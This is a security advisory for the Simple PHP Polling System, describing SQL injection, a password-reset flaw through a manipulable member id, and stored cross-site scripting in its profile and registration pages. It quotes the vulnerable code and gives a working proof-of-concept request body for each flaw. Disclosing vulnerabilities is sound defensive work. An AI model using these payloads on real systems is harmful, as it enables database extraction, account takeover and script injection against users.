  # Overview : 
  Simple PHP Polling System helps organizations to make polls of different types of positions with a number of candidates under each position.
  This vulnerable package ha 5869+ downlaods till the date.
  Multiple vulnerabilities ( SQL insertion injection, Persistent Cross Site Scripting, Password Reset. )
  
  1. SQL injection : Sql injetionexist in following pages : 
   --------------
  a) manage-profile.php : In manage-profile.php there is no filteration or validation for user supplied data, on parameter" $_POST['email'] 
  line no.33 -> $myEmail = $_POST['email'];
  ...
  ...
  ...
  line no 38 -> $sql = mysql_query( "UPDATE tbMembers SET first_name='$myFirstName', last_name='$myLastName', email='$myEmail', password='$newpass' WHERE member_id = '$myId'" )or die( mysql_error() );
  
  an attacker can inject post parameter email to perform SQL Injecton attack.
  
  
  b) registeracc.php : In registeracc.php there is no filteration or validation for user supplied data, on parameter" $_POST['email'] 
  line no.26 -> $myEmail = $_POST['email'];
  ...
  ...
  ...
  line no 30 -> $sql = mysql_query( "INSERT INTO tbMembers(first_name, last_name, email, password) VALUES ('$myFirstName','$myLastName', '$myEmail', '$newpass')" )
  or die( mysql_error() );
  
  an attacker can inject post parameter email to perform SQL Injecton attack.
  
  # PoC : firstname=WICS&lastname=tester&email=tester%40wics.com' or updatexml(2,concat(0x7e,(version())),0) or'&password=password&ConfirmPassword=password&submit=Register+Account
  
  2. Password reset : 
   ---------------
  In manage-profile.php page, 
  line no 38 -> $sql = mysql_query( "UPDATE tbMembers SET first_name='$myFirstName', last_name='$myLastName', email='$myEmail', password='$newpass' WHERE member_id = '$myId'" )
  
  By changing the value of 'member_id' attacker can reset the user details including his password.
  steps to reproduce :
  1. Login into your account.
  2. Navagate to Manage My Profile.
  
  Request will be something like - http://localhost/vote/manage-profile.php?id= somenumber
  here the value of id will be id of victim, and value of rest of the post parameter will set by attacker.
  # PoC :firstname=Attacker&lastname=LastNmae&email=Tester%40wics.com&password=adminadmin&ConfirmPassword=adminadmin&update=Update+Profile
  
  
  3. Persistent Cross site Scripting : In 'registeracc.php' and 'manage-profile.php' page the value of post parameter ' email ' supplied by user is not being -----------------------------------validated .this leaves application vulnerable to persistent Cross Site Scripting. 
  
  # PoC : firstname=WICS&lastname=wics&email=<script>alert(document.location)</script>&password=admin&ConfirmPassword=admin&update=Update+Profile
